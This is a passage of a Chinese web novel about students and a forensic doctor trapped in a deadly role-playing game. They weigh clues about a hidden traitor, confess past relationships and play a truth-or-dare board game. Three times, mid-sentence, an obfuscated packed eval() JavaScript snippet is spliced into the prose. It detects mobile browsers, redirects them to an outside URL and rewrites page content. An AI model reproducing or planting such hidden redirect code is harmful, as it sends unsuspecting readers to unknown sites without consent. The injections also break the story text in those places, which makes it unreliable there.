乔木扫了一眼,确认此人是个运动达人,不是因为瘦才有的线条。他又翻开手里的东西,继续完成今天的阅读任务。那上面写着:“XX年至XX年重大医学科研项目成果汇编……” 咔嗒一声,大门开了,舒觉清亮的声音飞入客厅:“我们回来了——” 乔木放下纸质书,说:“冷饮在桌上。” 他余光瞥到苏彦慌慌张张一下把T恤拉下来。他心里笑了一下,面上不显,他自己也不清楚为什么会觉得亲切。 舒觉身后跟着洛珠和曲语冰进来。这倒是个少见的组合。乔木随便猜了一下,觉得要么是舒觉想要拉洛珠到自己这边,要么是曲语冰死缠烂打成功让洛珠陪她们出门,要么两者都是。 “哦,那个很好喝的。”苏彦说。他自己的杯子放在客厅玻璃茶几上,杯身上还有残留的水珠,里面只剩下点残渣。 “谢啦,乔木。”舒觉找到自己的杯子。她和乔木一样,是绝对不愿意和别人混用餐具饮具的人,这栋房子里只有他们两个和两个社会人士有自己的一套用具。 乔木点点头。在他这里吃饭的人,已经形成了默认的分组:乔木负责做饭和整理情报,其余人出门收集线索。如果这天有人被抓去演绎,就可以不用参与本日搜寻活动。 他当然也不会天真到认为可以十个人都团结起来。不过在舒觉和曲语冰的暗中推动(舒觉说:“加上你做的饭。”)下,他们至少把除了姜满、应如观和双胞胎以外的人都集中到一起了。 祝时明是从一开始就和他们在一起的。洛珠也很好拉拢,她看起来就是那种很容易被别人动摇的人,在舒觉的争取下加入他们也很正常。苏彦反而是最后一个决定和他们一起行动的,但他近期表现积极,让人很难生出戒心。 不过,没有谁能保证,他们之中就没有“编剧”存在。但至少现在,他不想怀疑任何人。那太疲惫了。 想起上一轮最后所有人互相攻讦的境况,乔木嗅到未来可能的硝烟。现在,他只能希望这一天不要到来。 即使他清楚这不可能。 “这个好好喝。是青柠檬吗?”洛珠轻声说。乔木抬起眼,“对。你舌头不错。” 曲语冰的吸管里漏出几声哧哧。他停止吞咽,笑着说:“舌头不错?真是个新颖的说法。学到了。” 乔木不想理他。舒觉端着杯子走到他和苏彦这边,看起来也是来吹空调的。她好像也是怕热的类型。 她脖子上照常绕着一条丝巾。这条似乎是薄纱材质,透气,不过她选了黑色,仍然看不见其中肌体。自他认识舒觉来,他从没见过她脖子上毫无装饰。 “话说你们有发现吗?公园里有个游泳池。”舒觉说。 闻言,苏彦惊讶道:“真的?那我要去体验体验。” 他转头,对乔木说:“要不要和我一起去玩一下?” 乔木要去拿杯子的手顿了一下。他注意到舒觉敏锐的视线,她把自己的杯子放到桌上,却并没有坐下,像是在准备着什么。 乔木先战术性用吸管吸了一口冷饮,润完嗓子,才回答那边满眼期待的人:“不了。我想在屋子里待着。” “哦,好吧。”苏彦说,倒也没有很失落,大概也是知道自己会被拒绝,“对了,我都忘记问了,你会游泳吗?” “小看谁啊?”乔木不大高兴地反问回去。苏彦愣了下,连忙摆手道:“不是,我完全没这意思啊!就是不会游泳的人不也挺多的吗……” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382659|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家那边的小学,不会游泳不给发毕业证的。”乔木说。他现在倒是觉得能理解了:苏彦是冀湖市长大的,老家还要更靠内地,两边都是内陆城市,会游泳的人当然不如他家乡多。 “这样吗!你是哪里人?”苏彦问。 “沣州市。” 在场没人应答。看来是没老乡。乔木无所谓地低下头,自从他考来冀湖大学,就经常面对这种情况:一个班里一个同乡人都没有。 “那不是很南方?怪不得人人都得学游泳。”舒觉适时开口。她坐下来,摆出一个看似闲适的姿势,“话说,有谁是不会游泳的吗?” 只有洛珠举了手。见自己孤零零一只手在那里,她脸微微红了,“我这学期才报上游泳课……抢的人太多了。” 这让洛珠越发不好意思起来,毕竟只有她一个人不会。乔木忽然想起一件事。他脱口而出,如同不说出,这段记忆就会消散:“我女朋友也不会游。” 这句话成功吸引了所有人的注意力。曲语冰说:“你有女朋友?” “没听你提过啊。”舒觉说。祝时明没说话,只是低下头去喝自己的饮料。 “我又不是和女生绝缘,当然有女朋友。”这理所当然的语气引得在场几个单身狗一阵牙酸,曲语冰连声道:“好好好,我们知道了,你有女朋友。” “我是不意外。”苏彦笑着说,“毕竟阿木这么帅,又会做饭,性格还很好,肯定很受女生欢迎。” 这一段评价成功让其余人沉默下来,包括乔木。祝时明不知什么时候回来的,他握着杯子,坐到舒觉旁边的沙发上。乔木没错过这一幕。 半晌,曲语冰开口,语气有点艰难:“啊,哈哈……你们关系真好。” “我倒觉得学长你这样的,更受女生欢迎吧?”舒觉向苏彦那方看去,“苏学长没有吗?” “有过。” 这个过去式显然吊足了众人胃口。苏彦也没打算瞒着,直接说:“不过前段时间分手了。她提的。” 这个答案又让大家发出一阵惊叹声。出乎乔木意料,祝时明开口问道:“可以问一下,是什么原因吗?” “她说我变了。”苏彦苦笑。 一片意义不明的感叹声飘过客厅。乔木很直接地说:“听起来很像腻了的另一种说法。” “感觉像敷衍。”舒觉也赞同。 祝时明没有发表任何评论。他看上去也不大像真的在好奇,反而有点……悲伤?乔木怀疑起自己观察的能力。 “不管是什么,反正就是,结束了。”苏彦摊了下手,他并没有特别难过,不过说这些话时,他的神色有些遗憾和惘然。像是一个认为自己犯了错,却不知道错在了哪里的孩子。 “她有说是哪里变了吗?”祝时明问。 乔木不禁又看了他一眼。这问题可不太礼貌。他不会自认为多了解祝时明,但也觉得他不像会这样做的人。 幸好苏彦没有生气或者回避,他反而认真思考起来:“其实这个问题,我当时也问了。” “我记得,她说的是:总觉得我像丢了什么,时不时就会走神,而且,很多小的习惯都变了,性格也和她之前认识的不同……她觉得很奇怪。”苏彦慢慢复述,“而且,有一段时间我……状态很不对劲。她觉得现在的我不适合继续恋爱。所以分手了。” 乔木几乎是一瞬间便与舒觉对上了目光。对方凝视他,无声地轻微点头。曲语冰并无动作,但他没笑,那样的神态,看上去甚至有些冷漠。 一时间,沉思的人沉思,不知所措的人不知所措,场间古怪地凝结起来,如同没搅开的面糊。祝时明忽然回头,叫了声:“应医生。” 14. 第 14 章 真没想到,他居然答应了这个赌约。 我自己都觉得没多少说服力,但他居然一口答应了。可能是因为这对他来说没损失吧。 不过还不能那么快开始。他说要等他结束正在进行的这几场演绎,再和我具体讨论。 他平等地重视每一场演绎,不论演员是谁,进展如何。 也只有他这样的……才能做得到完全公平吧。 不过,他告诉我,可以开始考虑演员人选了。 我已经想好了几个。既然这是一场赌局,那我就必须最大可能扩大自己的优势,否则,我没有任何能赢的信心。 毕竟,人是多变的。那个时候她说她一定会回来救我。他们都说了。但现在我能完全指望他们自己察觉这件事吗?显然不可能。 但这也不是他们的错。 硬要讨论,我也不知道是谁的错……但这里总有什么东西错了。 我觉得,这件事,一开始并不该是这样的。为什么变成这样了? 图书馆也许有资料。我得去查查看。 既然公平的原则贯彻始终,那想必他不会阻止我。资料也应当被存放在某个地方……我们之前还是忽略掉太多东西了。每一个地方都可能藏着真相的一角,但我们就这样错过了。 不过,我们尽力了。 他们活下来,走了出去。这就足够了。 现在,我要赢。 ***** “嗨。”应如观从他们身后走来,他穿着简单的T恤和牛仔裤,看上去几乎和他们像同龄人。几个人纷纷打起招呼,刚刚沉默的气氛就像一场错觉,轻易消失。 法医有点好奇地扫视他们一圈,说:“你们在聊什么?” “没有,我们在聊大学游泳课的事情啦。”舒觉反应最快,干脆地回到了更前的话题,“那个不是很难抢吗?我是从来没抢到过。” “不是,你都会游泳了,就让给其他不会游泳的人吧。”曲语冰接上去,他看看洛珠,大家都会意地笑起来。 “不过我没想到,会游泳的人那么多。”苏彦瞧瞧大家,“难道你们都是南方人?曲语冰那个巫陵市也算南了。” 在乔木这里,本省以北都叫北方,包括地理上确实在南北分界线南边的巫陵市。 然而,剩下三个人都表示,自己是冀湖市本地人,要不就是和苏彦一样从小在冀湖市长大,基本也能算作本地的。 “说到游泳,我就想到小时候被我姐摁到水里去的经历……这辈子不想再来一次了。”祝时明说,露出点一言难尽的表情,“就算为了这个,我也得把游泳学了。” “那你哥呢?”舒觉打趣道,“他就看着你被欺负?” “那时候他在上学啊。哪里知道这件事。”祝时明无奈说。他的杯子也喝空了,乔木对此很是满意。 “应先生会游泳吗?”舒觉在沙发上半转过身,手臂搭在靠背上,看向饶有兴趣听他们谈话的法医。 应如观忽然被点到,他眉毛扬了一下,说:“会。” “也是。应先生看上去像什么都会。”苏彦说。他大概也不太想和长辈聊自己的感情话题,对舒觉的话题改变并没有说什么。 “这就过奖了。”应如观微微笑起来,看上去很温和,“我不会的东西可多了。” “比如呢?”曲语冰机灵地随棍上。 应如观很是纵容地回答:“像做饭,我就没有乔木做得那么好。” “不是,乔木那个水平一般人都比不上吧。”舒觉吐槽道,“而且我上次看见应先生做的炒饭,感觉好吃得不得了。” “你想要的话,我下次可以做你的份。”应如观说。他看上去不像随口一说。 抢人顾客这事,乔木可不能忍,他立时直起身子,盯着舒觉,目光仿佛警告的黄灯。舒觉笑一笑,赶紧说:“那太不好意思了,我还是吃自己付过钱的饭吧。” 乔木靠回去。看得出来,一场厨房的战争在开始前被掐灭了硝烟。应如观正要上楼去,却被舒觉叫住了:“应先生,先别走。等会儿所有人都到齐了,我们有件事要说。” 应如观眨了下眼,说:“是找到了新线索吗?” 原来大招藏在这儿呢。乔木就说他们在这聊了半天是要干什么。舒觉点头,“是的。” 应如观便坐到苏彦对面的沙发上。几人再随意东拉西扯一会儿,姜满也从外面回来,再加上从楼上下来的双胞胎——原来他们在午睡——所有人便在客厅里聚齐了。 见状,舒觉推推洛珠。穿着及膝裙的女孩一惊,她从口袋里掏出一件物什,声音因为紧张有些尖细:“这、这个是我们找到的新线索。” “已经和‘幕后’确认过了。”她又补充一句。 所有人视线都汇聚到她的手心。那是一枚有些陈旧的警徽,刻着所属警局的部分已经被磨花,侧面有一道月牙形的磕痕。没有姓名的标识。 大概是受不了所有人注意力都集中在她身上,洛珠慌忙将那枚警徽放在桌子上,缩回了沙发里。看得出,刚刚那样在众人面前主动发言已经是她竭尽全力,再多不能。 “啊,这个是我的。”一段安静后,应如观主动开了口。他把警徽拿起来,仔细看了看,再确认地重复:“这个是我的。” “法医也需要佩戴警徽吗?”舒觉问。她看上去并不太相信应如观的说法——太迅速、太自然了,好像他根本不害怕这会让他与“编剧”牵扯在一起似的。 “平时戴工作证就好了,不过入职的时候有发过。”对方回答。姿态依然是坦坦荡荡,反而让人觉得,这条线索是个烟雾弹,他不会是那个背叛大家的人。 此刻,客厅内的气氛十分之诡异:大概任何人都没想到,第二条线索就这样被轻易地指认了。就像一碗猪油。乔木思索着,本以为要下锅热腾腾融化、爆炒火星飞溅了,结果却发现是冻回了冰箱,还是冷冰冰、凝固的一大碗,甚至泛着点不自然的光泽。 “呃……那就,结了?”祝时明看看四方,小心地提议。曲语冰敲敲手环,说:“没吧。不是还得和‘幕后’确认一下线索指向对象吗?” 在场没有哪个人,能光凭自己一张嘴就让其他所有人都相信自己。应如观自然也不例外,但信他的人并不少:毕竟年长成熟,给人可靠印象,也没做出任何可疑举动,实在让人难以怀疑。至少此间,似乎只有少数几个人比较赞同曲语冰的话。 “没必要吧。他都自己承认了,确认对象的机会还是留给其他含糊不清的线索更好。”姜满率先开口,她坐在舒觉对面的扶手椅上,后面趴着双胞胎,姐姐咬着嘴唇,弟弟一脸刚睡醒的茫然。 这确实是最合理的选择。就目前来说,舒觉也没有能反驳的证据,她在尝试最后一次努力:“这个警徽也挺重要的,还是多确认一下——” “还是留到后面备用吧。一共只有三次机会,我们得好好把握。”苏彦劝道。他沉默至今,方才一直在盯着那枚警徽看,神色凝重,即使是在应如观认领这条线索后也是如此。 没有根据的怀疑毫无力量。她只能沉默,让曲语冰的提议落于空处。 他们没有对视,但心里都在想:这结束得也太容易了。 “那就是说,应哥也有可能是‘编剧’,这样吗?”邹玉衡在沙发背后,恍若无知无觉地开口。他似乎完全没感受到现场凝固的氛围。 “傻瓜!这时候说这个,你还没睡醒吗!”他姐姐急急开腔,往弟弟脑袋上切了一掌。邹玉衡“嗷”了一声,揉揉脑袋,“我只是说,有这个可能嘛……我又不是怀疑应哥。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394829|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “没关系,玉衡说得也没有错。”应如观宽容地对邹摇光一笑,随后目光又落回众人之间,“虽然直接说自己不是挺牵强,但我的确与‘编剧’无关。之所以承认这条线索指向我,也只是不想浪费求证的机会,减少大家相互猜忌。” 一般人说这种话,不免带上几分冠冕堂皇的味道,但给他讲来,不知为何听着特别诚恳,让人难生不悦。看来,这条线索的推测,就到这里了。 “好吧,我还有一件事要说。”舒觉忽然开口,她从茶几上堆叠的几本书下面抽出那张旧报纸。乔木心头一跳,感到难以置信:她不会是要—— “第一条线索指向的,是我。”她干脆地道。 乔木几乎要控制不住站起身。他不清楚他们制定了什么计划,但肯定不包括这个。他当然相信舒觉。但其他人呢? 坐在众人中间的女孩点开手环,声音清晰:“‘幕后’。我是不是第一条线索的指向者?” “三号响应。确认:第一条线索【七日教会剪报】的指向者为,演员舒觉。” 没有什么证明比这更有说服力了。一时间,演员们表情各异,其中心思乔木难以猜明,但他想绝大多数不会是正面的。这个时候承认,和应如观的即刻认领又是不一样的效果。 但若论光明正大,她还要胜了法医一筹:她给出了认证。但这也彻底钉死了她是“编剧”的可能性。 “那就请你解释一下吧。”姜满说,“你是七日教会的成员?但按你的年龄来说,那个时候你才——十四岁?这不可能吧。” “还是说,你的年龄是骗人的?”她声音不大,但话语锋锐,直刺关键。乔木深深皱起眉头,如果有必要,他会站出来为舒觉辩护。 舒觉绝对、一定不可能是藏在背后,操纵他人生死的那个存在。 “确切来说,与七日教会有关的不是我,是我的姐姐。”舒觉毫无怯色,语调平稳有力。她说:“她是七日教会的受害者,也是警方的线人。” “她叫什么名字?” “恕我不能透露。姜小姐莫非是不太了解证人保护机制?这样重要的人物,就算是作为妹妹的我也不能随便和别人乱讲。”舒觉语调冷淡下去,显然不想多谈这个话题。 “她是受害者。”姜满沉吟着,“你的意思是——” “——她死了。”这句话简单地落在地上,摔碎的一瞬间,冻结了所有质询。舒觉抬起眼睛,此刻她的瞳孔既黑又深,仿佛将所有光芒都吸摄进入,却毫无反射,如同漆黑寒冷的海底。 所有人都被她的神情震住了。那里没有眼泪,怅痛却刻入骨髓,想要呐喊出来的前提,是将自己血肉骨头剖开。没有人能演出这样的姿态。 那是一场没有止境的悼亡。 姜满看上去无话可说。半晌,她才开口:“我很抱歉。” 舒觉沉默地点点头。她说:“还有人有问题吗?” 一片沉默。女孩站起身:“那么,失陪。” 她走上楼。其余人也散的散,留的留,各做各事去了。乔木看到祝时明还坐在那里,便说:“你要是想关心她就去吧。” 对方愣了一下,随后勉强笑笑,“这种时候,还是让她独处比较好。”他看上去也很疲惫,不知是出于什么原因。 按舒觉的性格来说,也许如此。乔木也不欲太插手他人间事,正要离开,便听到曲语冰说:“不过,如果是我的话,我会希望有人陪呢。” 祝时明摇摇头。这时候他反而分外肯定。一句话从他唇齿间漏出来,低如一声叹息,乔木没听清。 但那也不重要。他能做的,只是继续他们当初的安排,尝试找出一丝生机。 以及,解决他心中的困惑。 到底是什么,从他的生命中消失了? 15. 第 15 章 夜晚,舒觉坐在自己的房间里,面前改装过的笔记本外放,她缩脚坐在电脑椅上,正和屏幕里的人视频通话。不同的声音充斥房间,她只是盯着屏幕语音转录出的条条字句。 画面被平分成四格,两男两女的头像置于其中。有人的背景是自己卧室,正如舒觉;还有人是一片黑暗,不知道怎么做出来的特效;甚至有一个背面是瓷砖,声音回响放大,居然是在浴室里头,看得出正在泡澡。 泡澡的那位是个女生,她染了一头金黄的长发,在白炽灯光下分外闪耀,她语气悠闲地说:“然后呢,那个家伙就一句话都说不出来了!果然人渣就是没底气,给我骂两句就萎了。” “这种傻X真该灭绝。”左上角的男生骂道。他后面立着一面直通天花板的书柜,里面书籍随便堆叠在一起,感觉下一秒就要山崩了。他推推金边眼镜,语气危险:“你这位前男友最好不要让我遇见。” 五个人全笑了起来。当然,他们都清楚,这句话不止是一个威胁,陈颂风从不言而不行。实际上,如果真让他碰到那位前男友,对方最好提前预定几个月的病房。 两道银色的眼镜链细细挂在颊侧,衬得此人越发白皙俊秀。尽管如此,但他曾是他们队里最快最隐蔽的刀锋。现在他已不干这样的脏活,一心从良,正在苦读法律,以期能一举通过司法考试。 这是为了什么,每个人都心知肚明。 “小楠,这是你的第几位嘉宾来着?”另一个女生问,“我都有点算不清了。” “其实我也记不得。这玩意儿有什么好记的?你不如问问阿舒。”周楠幸说。她的目光转向自己屏幕上舒觉所在的格子,“阿舒,你肯定记得吧。算一下算一下!” 舒觉歪了下脑袋,“其实我也不记得了。” “啊——你骗人!你怎么会不记得!”周楠幸立刻指责她。舒觉大笑:“好好好,这是第十七个。” 无人质疑她的说法。毕竟,对于一个拥有超忆症的人来说,这种单纯计算问题不可能出错。 “我早说了,我们这种人谈恋爱就是自讨苦吃。”背景全黑的男生冷冷地说。他穿着一件大耳朵狗的睡衣,可爱风格和他脸上黑沉的表情完全不搭。在他去年生日,四个人分别送了他一件类似款式的睡衣,这之后不管他嘴上怎么骂,只要是晚上通话,他都会乖乖穿着。 “嗨嗨,吉喵,你这就太悲观了。人要积极!”周楠幸拍了下水面,掀起不小的浪花。大耳朵狗男生露出嫌弃的表情:“别叫我吉喵,傻瓜周。” “算啦,邵吉,你说不过她的。”另一个女生劝道。她梳着波波头短发,面容沉静,圆圆的鹿眼添上几分天真。但在看过她一拳打穿实木桌子后,想必不会再有人觉得她柔软无害。 “你也是,朱雲乐!你就在那纵着她吧!”邵吉根本不吃这一套,马上把炮火调转,嘴仗有俞演愈烈之势。 舒觉正打算稍微阻止一下(其实她觉得看这几个人斗嘴可好玩了),邵吉忽然叫了声她的名字。“喂,副队。” 女孩吓了一跳,还以为自己也要被他拉入辩论大战,却听到他说:“你的邮箱有新信息。” 这很正常,但被他提出来,一定是有什么不正常。邵吉说:“他在里面写了你的名字。真名。不是接委托那个网名。” “谁发过来的?”舒觉拧眉,其他人安静下来,邵吉那边传来高速打字声,“我在查。不过他有署名。” “乐天。你们认识?” ***** 晚饭后,苏彦听到舒觉在问:“泳池那边有人吗?我看灯还亮着。” 他们这一群人都还没上楼去,在客厅短暂交流情报过后,为了打发时间,他和乔木、祝时明、曲语冰玩起了飞行棋。 说实在的,在这里的日子,如果没有突然的演戏打扰,甚至称得上过于安逸。生活所需支付的点数相当之低,不管演的是差还是好,演一次戏就能支撑很久。而除了演戏之外,他们并没有非做不可的事情。如今在每个地方搜集情报也只是大海捞针,尝试找出一点别的可能。 而关于可以找出“编剧”的线索,目前还没有出现第三条。而对于舒觉和应如观,他又觉得没什么好怀疑的。那两条线索肯定是假的,是幕后凶手散布出来干扰他们的东西。 如果只是这样的话,之前参与的演员没理由出不去啊……苏彦想不太明白原因,只是隐隐嗅到未来的风暴。 现在回到舒觉的问题。苏彦想了想,回答她:“好像是应医生?他有说过想去游泳放松一下。” 舒觉站在那里,没有反应。乔木忽然手指在空气中点动几下,虽然动作很小,也放在不容易被看见的地方,但一看就知道是在用投影键盘打字。 更不幸的是,在场另外三个人似乎都视力绝佳。苏彦发誓他看见曲语冰瞥了一眼后嘴角露出微笑,随后他摇摇骰子,丢在棋盘中间。“五点。” 很好,现在他知道那是胜券在握的笑了。曲语冰拿起代表自己的棋子往前走了五格,刚好把乔木的棋子撞掉。现在他又要重头再来了。 乔木发完信息,视线一转向棋盘就看见自己挂了,下一轮也不能动。他倒也没什么不满的表情,只是很平静地说:“下一个轮到谁?” “我。”祝时明接过骰子,随手晃了几下就丢出去,三点,他往前走,正巧那边舒觉提高声音喊道:“我知道了,多谢。”随后便是一声关门声。 祝时明走到那个格子,底下抽屉“啪”一下弹出,里面放着的圆币上写着:“真心话时间到!左手边的人可以随意问走到这个格子的人一个问题。” 坐在他左边的是乔木。乔木眼神扫过那张纸条,随口问道:“喜欢的女生类型是什么样的?” 曲语冰立刻“芜湖”一声。苏彦也颇有兴趣地竖起耳朵,毕竟祝时明并不经常聊起自己的事,他们所知道的都是比较基础的信息:医学生、有一个哥哥和一个姐姐、冀湖市本地人。 这个真心话飞行棋是曲语冰提议的,说是要加深大家互相的了解和感情,但明显这只是出于他自己的趣味。他卡在晚饭后掏出那个棋盘,就是要把他们一网打尽。 苏彦不觉得自己有什么秘密要藏,很是坦坦荡荡地加入;祝时明是几乎不拒绝他人的老好人,曲语冰多磨两句便也应下;最让人意外的是乔木,他居然也同意了。他看起来不像那种愿意聊自己私事的人。 祝时明“呃”了一声,“不是,怎么是你问这种问题?” “我有什么问题?” “不,也不是。”踩中格子的人叹一口气,有点不情愿地说,“也没什么类型不类型的……硬要说,可能对笑起来好看的女孩子比较容易有好感?” “这也太短了吧。再多说点?”曲语冰笑着为难他。 “又不是你提问。”祝时明说,将求助的目光投向乔木。 然而,他们的厨神背叛了他的希望。“我也觉得这太简单了。之前被问到的人都至少说了一件完整的事,你至少也得说这么多。” 乔木这样说,不和他目光接触。这挺神奇,苏彦还以为乔木很不待见曲语冰,会和他唱反调呢。 祝时明眼神像是约好了一起裸考却被同伴复习背刺的可怜人。半晌,他说:“……好吧。我喜欢年下,个头比较小,看起来比较性感的那种。英语好最好了,可以辅导我,我英文真的很差。性格的话,会撒娇、闹小脾气都很好,我比较喜欢有矛盾能说出来不是自己藏着的,我真猜不出来。而且我很不擅长冷战,不用半小时我就低头了。所以希望能有话好好说出来。” “也就是说,你喜欢傲娇萝莉。”曲语冰总结。乔木啧了一声:“你不概括也没人听不懂。” 祝时明长长叹出一口气:“这就是为什么我不想说得更详细。” 毕竟,不管他说什么,大概都会被曲语冰扭曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409214|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后风评被害吧。苏彦不由对他有点同情,之前他在分享高中趣事的时候也被曲语冰这么对待了。 他说:“那就这样吧。下一个是我。” 说着,他抛了骰子。这次他没踩中真心话格子,苏彦松了口气。他可不想再被问“高中时期经历过最尴尬的时刻是什么”这样的问题了。 就这样风平浪静地过了几轮(其间曲语冰踩中了大冒险,现场模仿猫咪展腰,筋骨是钻石硬度的版本),祝时明忽然问:“刚刚是舒觉出去了吗?” 他背对着门口,确实没看见。苏彦说:“是啊。应该是想去游泳吧。” “游泳?”祝时明重复一遍,语调有点茫然。 “是啊,游泳哦。在一个无人相扰、月色正好的夜晚,孤男寡女,在浪漫的泳池里,真好奇会有什么样的展开呢。”曲语冰语气悠悠,但怎么听都感觉他期待的不是这个。 “什……” “的确,这么晚也不会再有人过去。我去看过,那个泳池是露天的,景色很好。”乔木把自己的棋子往前移动,一边说。 苏彦左右环顾,怀疑自己是否也得说点什么。为什么他觉得这两个人都在干同一件事?不不不乔木怎会如此,肯定是他的错觉。 “话说回来,舒觉好像没有男朋友吧?挺意外的,她这么漂亮。”曲语冰又说。 “应医生也是一表人才。他似乎说过目前单身。”乔木把骰子放到祝时明面前,“到你了。” 祝时明面色变动不停,苏彦感觉自己在他脸上看见了一场亚热带风暴从发生到结束的全过程,是真正的风云变幻。 还不等他感叹人的面部肌肉居然可以表达出这么多种意思,祝时明猛地起身,差点撞翻摆在他们中间的棋盘,转头就往外走。 一声关门后,他们听到外面道路上鞋子重重踏下的奔跑声。曲语冰把骰子拿过去,“看来,我们中确实有个人陷入了迷恋啊。” 他唇角带笑,“合作愉快,乔大厨。” 乔木并无特别神色,仿佛刚刚帮着煽风点火的人不是他,“差不多吧。看来,他刚刚的理想型果然是胡扯。” “那倒不一定。人真正会喜欢上的对象不一定和自己理想型完全重合吧,不如说是一定不可能。”苏彦为祝时明辩解两句,心中怜悯这位被戏弄的可怜人。 “我之前是不信一见钟情的,现在是不得不信了。”曲语冰说,他把祝时明的棋子拿走,其余两人都没反对。 “我是半信半不信吧。阿木呢?”苏彦的棋子刚好踩到特殊格子,可以问下一个玩家一个问题。他说:“那就这个吧。你相信一见钟情吗?” 乔木平淡地说:“信啊。” “真的?你看起来不像会信的。” “我对我女朋友就是一见钟情。所以我信。”他说。曲语冰一脸被秀到恩爱的表情,苏彦则笑着说:“真浪漫。” “一开始我也没意识到。但等到我真正察觉到自己喜欢上她的时候,才发现从一开始我就一直在看着她了。” 能够面不改色说出这样的内容也是乔木此人的一个特技。苏彦一边在心里感慨年轻真好,一边说:“那我们继续?” “好啊。反正我没事。况且我很想看看他们回来之后的表情,肯定很有趣——”曲语冰伸了个懒腰,说道。乔木也点了点头。 “顺便说,乔木你女朋友长什么样?你会喜欢什么样的女孩子,我还挺好奇的。”苏彦问他。 这要是曲语冰问的,乔木铁定不会回答。但他对苏彦观感不错,遂决定形容一二:“就是……” 他忽然住口,眉毛打成结。苏彦以为他是不想回答,忙笑道:“不想说也没事,反正也没到真心话格子。” 乔木“嗯”了一声,然而表情并不松快多少,他似乎陷入某种思绪中。这段小插曲并未引起任何人的注意,游戏继续快快活活地进行下去,直到门再度被推开。 16. 第 16 章 冀湖大学城,“青云得路”咖啡厅。 曲语冰坐在店外的露台上。他面前放着一杯打满奶油、奶沫都快要溢出来的拿铁,还能看到里面有几块焦糖在冰块间上下沉浮。 他的头发相当蓬乱,好像刚睡醒没多久,但现在已经是下午五点了。T恤也有些皱,短裤下露出两截修长小腿,还有一双老人拖鞋。他基本就像刚从床上被拽起来,扔到这家典雅的咖啡厅里。 周围自习或聊天的学生很多,他一个人坐在那里什么也不干,稍显突兀。 他甚至没有用手环播点视频或者打游戏。这人就坐在那里,陷进软和的豆袋沙发里,面前咖啡开始融化,一抹一抹白色痕迹顺着玻璃杯身流下来。 他晃了一下手环,一组数字弹到他面前,随后又消散。很快要到约定的时间了。他可是特意早到了不少,平时他可从来不做这种事。 当然,也是因为会约他出来的人少之又少——不过现在,他等的人也未必能称作“朋友”。至少曲语冰认为,他们并没有经历正常交友的一系列流程,也一段时间没有再联系,这应该不是一般朋友的相处方式。 不过,他也没什么朋友,所以什么样的关系才能叫友谊,他也说不上来。曲语冰往杯子里插进一根吸管,终于纡尊降贵般吸了几口,喃喃道:“有点苦啊。” “我建议你点奶茶。”清凌凌的声音飞来,曲语冰唇角含笑,侧头望去,他等候多时的人踏着太阳落下的影子走来。女孩身穿立领无袖条纹衬衫,脖子上是一个简单的丝绒环带,下身是卷起脚边的浅蓝色牛仔裤。 她拎着一个珠串小包,曲语冰不禁开始思考那是否是某种可拆卸的武器,比如说可以拿那对珠子打人眼睛什么的。 她坐到他对面,手环连接店家点餐入口后,在浮现光幕上快速滑动几下,点了份简餐。 曲语冰看她把小包放到旁边椅子上,开口时语调轻佻:“好久不见,小舒舒~” “你再这样叫我,我会把那杯咖啡泼到你脸上。”舒觉口气随意地说。然而曲语冰清楚她真做得出来。 他决定改口,旁边店员过来给舒觉上了一杯柠檬水,他便暂时住口。舒觉举起杯子,喝了一口,盯过来。 她开口,声音很平静:“我没想到你能那么快找到我。” 曲语冰微笑着抬起视线,与她对上。在不修边幅的外貌、凌乱随意的姿态下,那两点瞳仁却是锐如寒星,锋芒难挡。 “——乐天。” ***** 【剧目:白日堂皇】 【演员:应如观】 男人正在处理一具尸体。这场面原本可能很惊悚,但当尸体放在手术台上,四周灯泡明亮得晃眼,旁边还放着尸检单时,就并没有那么吓人了。对剧中的男人来说,这只是一项工作,他该履行的职责。 “好可惜的女孩子。才这么小,就……”他感叹,语调带着些悲伤,尾音轻柔地散在冷气里。应如观放下解剖器械,开始在电脑上录入尸检报告。 大体完成后,他备注了一句:受害人颈后芯片在死后被剥离,目前不知去向,或许仍有保存她生前身体状况的记录。剥离手法专业,凶手可能为医生或常用刀具的从业者。 时针指向六点。他脱下白大褂,拎包下班。镜头跟随着他从公安局门口一直到某条小路,他淡然自若走进那条不见光的胡同。 轻微的破空声自身后袭来,应如观看似随意地迈出一步,却恰好躲开寒光锐利的刀锋。下一秒,他遽然旋身,袖口弹出利刃,一下割开对方颈动脉! 鲜血泼洒而出,如雨似雾。应如观侧在一边,避开了喷溅的艳红,他在死者衣服上将刀擦干净,从小巷的另一边离开,徒留后方一具倒毙的尸体。 他刚迈出小路的片刻,便有电话拨打进来。他接通,对面说:“东西到手了吗?” 